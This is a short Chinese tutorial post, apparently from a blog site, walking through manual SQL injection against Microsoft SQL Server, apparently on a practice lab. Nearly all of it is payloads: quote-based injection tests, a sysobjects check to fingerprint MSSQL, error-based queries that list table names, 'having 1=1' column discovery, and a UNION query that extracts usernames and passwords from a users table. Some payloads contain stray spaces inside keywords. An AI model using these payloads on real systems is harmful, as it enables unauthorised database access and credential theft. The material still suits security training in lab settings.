MSSQL⼿⼯注⼊

 步骤⼀:在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型

id=1

id=1'

id=1' --

步骤⼆:可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是
MSSQL;也可根据⻚⾯报错信息来判断数据库
exists(select * from sysobjects)
步骤三:通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

第⼆张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ')

第三张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ')

第四张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ')

第五张表: 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ' and name !=' referers ')-- // 返回结果为空,说明不知道第五张表

步骤六:通过以下语句爆出表下的所有字段信息
having 1=1

group by 字段名 1 having 1=1

步骤七:爆字段值
- 1 'union select 1,2,3 from users

- 1 ' union all select 1,(select top 1 username from users),(select top 1 password from users)--+

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值